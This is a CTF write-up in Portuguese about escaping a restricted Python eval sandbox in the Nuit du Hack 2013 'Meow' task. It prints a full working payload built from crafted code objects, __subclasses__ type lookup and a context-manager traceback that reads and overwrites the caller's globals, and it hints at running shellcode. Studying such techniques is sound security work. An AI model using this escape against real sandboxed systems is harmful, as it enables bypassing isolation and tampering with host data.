Ontem aconteceu a rodada de qualificação do Nuit du Hack CTF 2013. Como de costume, em algumas notas irei falar sobre tarefas e / ou soluções interessantes deste CTF. Se você quiser saber mais, meu colega de equipe w4kfu também deve postar em seu blog em breve.
TL; DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
Uma das tarefas, chamada "Meow" , nos oferece um shell remoto limitado com Python, onde a maioria dos módulos integrados são desativados:
{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}
Várias funções estavam disponíveis, a saber
kitty()
, produzir a imagem do gato em ASCII e auth(password)
. Presumi que precisávamos ignorar a autenticação e encontrar uma senha. Infelizmente, nossos comandos Python são passados em eval
modo de expressão, o que significa que não podemos usar nenhum operador: nem o operador de atribuição, nem imprimir, nem definições de função / classe, etc. A situação ficou mais complicada. Teremos que usar a magia do Python (haverá muito dela neste post, eu prometo).
A princípio, presumi que estava
auth
apenas comparando a senha a uma string constante. Nesse caso, eu poderia usar um objeto personalizado modificado de __eq__
forma que ele sempre retorneTrue
... No entanto, você não pode simplesmente pegar e criar tal objeto. Não podemos definir nossas próprias classes por meio de uma classe Foo
, uma vez que não podemos modificar um objeto já existente (sem atribuição). É aqui que começa a mágica do Python: podemos instanciar diretamente um objeto de tipo para criar um objeto de classe e, em seguida, instanciar esse objeto de classe. Veja como é feito:
type('MyClass', (), {'__eq__': lambda self: True})
No entanto, não podemos usar o tipo aqui, ele não é definido nos módulos integrados. Podemos usar um truque diferente: cada objeto Python possui um atributo
__class__
que nos fornece o tipo do objeto. Por exemplo, ‘’.__class__
isso str
. Mas o que é mais interessante: str.__class__
é o tipo. Portanto, podemos usar ''.__class__.__class__
para criar um novo tipo.
Infelizmente, a função
auth
não apenas compara nosso objeto a uma string. Ele faz muitas outras operações com ele: ele o divide em 14 caracteres, pega o comprimento len()
e o chama reduce
com um lambda estranho. Sem código, é difícil descobrir como fazer um objeto que se comporte da maneira que a função deseja, e não gosto de adivinhar. Mais magia necessária!
Vamos adicionar objetos de código. Na verdade, as funções em Python também são objetos, que consistem em um objeto de código e uma captura de suas variáveis globais. O objeto de código contém o bytecode desta função e os objetos constantes aos quais se refere, algumas strings, nomes e outros metadados (número de argumentos, número de objetos locais, tamanho da pilha, mapeamento de bytecode para número de linha). Você pode obter o objeto de código de função com
myfunc.func_code
. Isso restricted
é proibido no modo interpretador Python, portanto, não podemos ver o código da função auth
. No entanto, podemos criar nossas próprias funções da mesma forma que criamos nossos próprios tipos!
Você pode perguntar, por que usar objetos de código para criar funções quando já temos um lambda? É simples: lambdas não podem conter operadores. E as funções geradas aleatoriamente podem! Por exemplo, podemos criar uma função que produza seu argumento para
stdout
:
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
(), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42
No entanto, há um pequeno problema aqui: para obter o tipo do objeto de código, você precisa acessar o atributo
func_code
, que é limitado. Felizmente, podemos usar um pouco mais da magia do Python para encontrar nosso tipo sem acessar atributos proibidos.
Em Python, um objeto de um tipo possui um atributo
__bases__
que retorna uma lista de todas as suas classes básicas. Ele também possui um método __subclasses__
que retorna uma lista de todos os tipos herdados dele. Se usarmos __bases__
em um tipo aleatório, podemos chegar ao topo da hierarquia de tipo de objeto e, em seguida, ler as subclasses de objeto para obter uma lista de todos os tipos definidos no interpretador:
>>> len(().__class__.__bases__[0].__subclasses__())
81
Podemos então usar essa lista para encontrar nossos tipos
function
e code
:
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'code'][0]
<type 'code'>
Agora que podemos construir qualquer função que quisermos, o que podemos fazer? Podemos acessar diretamente arquivos inline ilimitados: as funções que criamos ainda são executadas no
restricted
-ambiente. Podemos obter uma função não isolada: a função auth
chama um método no __len__
objeto que passamos como parâmetro. No entanto, isso não é suficiente para escapar da sandbox: nossas variáveis globais ainda são as mesmas e não podemos, por exemplo, importar um módulo. Eu estava tentando olhar para todas as classes que poderíamos acessar com__subclasses__
para ver se podemos obter um link para um módulo útil por meio dele, sem sucesso. Mesmo receber uma chamada para uma de nossas funções criadas através do reator não foi suficiente. Poderíamos tentar obter um objeto traceback e usá-lo para visualizar os quadros de pilha das funções de chamada, mas a única maneira fácil de obter um objeto traceback é por meio de módulos inspect
ou sys
que não podemos importar. Depois que me deparei com esse problema, troquei para outros, dormi muito e acordei com a solução certa!
Na verdade, não há outra maneira de obter um objeto de rastreamento na biblioteca padrão Python sem usar:
context manager
. Eles eram um novo recurso no Python 2.6 que permite obter algum tipo de escopo orientado a objetos no Python:
class CtxMan:
def __enter__(self):
print 'Enter'
def __exit__(self, exc_type, exc_val, exc_tb):
print 'Exit:', exc_type, exc_val, exc_tb
with CtxMan():
print 'Inside'
error
# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
<traceback object at 0x7f1a46ac66c8>
Podemos criar um objeto
context manager
que usará o objeto traceback passado __exit__
para exibir as variáveis globais para a função de chamada que está fora da sandbox. Para fazer isso, usamos combinações de todos os nossos truques anteriores. Criamos um tipo anônimo que define __enter__
um lambda simples e __exit__
um lambda que se refere ao que queremos no rastreamento e o passa para nosso lambda de saída (lembre-se de que não podemos usar operadores):
''.__class__.__class__('haxx', (),
{'__enter__': lambda self: None,
'__exit__': lambda self, *a:
(lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
(None,), (), ('s',), 'stdin', 'f',
1, ''), {})
)(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
if x.__name__ == n][0])
(a[2].tb_frame.f_back.f_back.f_globals)})()
Precisamos cavar mais fundo! Agora precisamos usar este
context manager
(que chamaremos ctx
nos seguintes trechos de código) em uma função que levantará propositalmente um erro em um bloco with
:
def f(self):
with ctx:
raise 42
Em seguida, colocamos
f
como __len__
nosso objeto criado, que passamos para a função auth
:
auth(''.__class__.__class__('haxx2', (), {
'__getitem__': lambda *a: '',
'__len__': f
})())
Vamos voltar ao início do artigo e lembrar sobre o código incorporado "real". Quando executado no servidor, isso faz com que o interpretador Python execute nossa função
f
, passe pela criada context manager
__exit__
, que acessará as variáveis globais de nosso método de chamada, onde existem dois valores interessantes:
'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'
Duas bandeiras ?! Acontece que o mesmo serviço foi usado para duas tarefas consecutivas. Morte dupla!
Para nos divertirmos mais acessando variáveis globais, podemos fazer mais do que apenas ler: podemos mudar os sinalizadores! O uso dos
f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })
sinalizadores mudará até a próxima reinicialização do servidor. Aparentemente, os organizadores não planejaram isso.
De qualquer forma, ainda não sei como deveríamos resolver esse problema de maneira normal, mas acho que essa solução universal é uma boa maneira de apresentar aos leitores a magia negra do Python. Use-o com cuidado, é fácil forçar o Python a fazer a segmentação com os objetos de código gerados (usar o interpretador Python e executar o shellcode x86 por meio do bytecode gerado é deixado para o leitor). Obrigado aos organizadores do Nuit du Hack por uma bela tarefa.
